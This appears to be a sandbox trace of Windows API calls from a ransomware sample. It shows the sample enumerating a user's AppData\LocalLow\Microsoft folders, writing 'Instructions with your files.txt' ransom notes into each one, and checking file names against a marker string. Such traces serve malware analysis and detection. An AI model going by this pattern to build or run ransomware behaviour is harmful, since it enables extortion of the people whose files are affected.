[0131.138] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.138] CloseHandle (hObject=0x118) returned 1
[0131.138] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.138] GetProcessHeap () returned 0x810000
[0131.138] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.138] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1
[0131.138] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12") returned 67
[0131.138] GetProcessHeap () returned 0x810000
[0131.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.138] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*") returned 69
[0131.138] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.139] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\.") returned 69
[0131.139] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.139] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\..") returned 70
[0131.139] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.139] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\Instructions with your files.txt") returned 100
[0131.139] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\imjp12\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.139] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.140] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.140] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.140] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.140] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.140] CloseHandle (hObject=0x118) returned 1
[0131.140] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.140] GetProcessHeap () returned 0x810000
[0131.140] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.140] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1
[0131.140] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1") returned 68
[0131.140] GetProcessHeap () returned 0x810000
[0131.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.141] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*") returned 70
[0131.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.141] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\.") returned 70
[0131.141] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.141] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\..") returned 71
[0131.142] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.142] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\Instructions with your files.txt") returned 101
[0131.142] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\imjp8_1\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.142] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.143] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.143] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.143] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.143] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.143] CloseHandle (hObject=0x118) returned 1
[0131.143] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.143] GetProcessHeap () returned 0x810000
[0131.143] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.144] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1
[0131.144] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0") returned 68
[0131.144] GetProcessHeap () returned 0x810000
[0131.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.144] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*") returned 70
[0131.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.144] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\.") returned 70
[0131.144] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.144] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\..") returned 71
[0131.144] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.144] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\Instructions with your files.txt") returned 101
[0131.144] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\imjp9_0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.144] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.145] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.145] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.145] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.145] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.146] CloseHandle (hObject=0x118) returned 1
[0131.146] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.146] GetProcessHeap () returned 0x810000
[0131.146] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.146] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
[0131.146] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer") returned 78
[0131.146] GetProcessHeap () returned 0x810000
[0131.146] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.146] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*") returned 80
[0131.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.147] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\.") returned 80
[0131.147] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.147] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.147] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\..") returned 81
[0131.147] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.147] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1
[0131.147] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore") returned 87
[0131.147] GetProcessHeap () returned 0x810000
[0131.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.148] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*") returned 89
[0131.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.149] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\.") returned 89
[0131.149] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.149] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.149] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\..") returned 90
[0131.149] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.149] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="36USA68T", cAlternateFileName="")) returned 1
[0131.149] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T") returned 96
[0131.149] GetProcessHeap () returned 0x810000
[0131.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.150] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*") returned 98
[0131.150] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.150] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\.") returned 98
[0131.150] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.150] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.150] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\..") returned 99
[0131.150] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
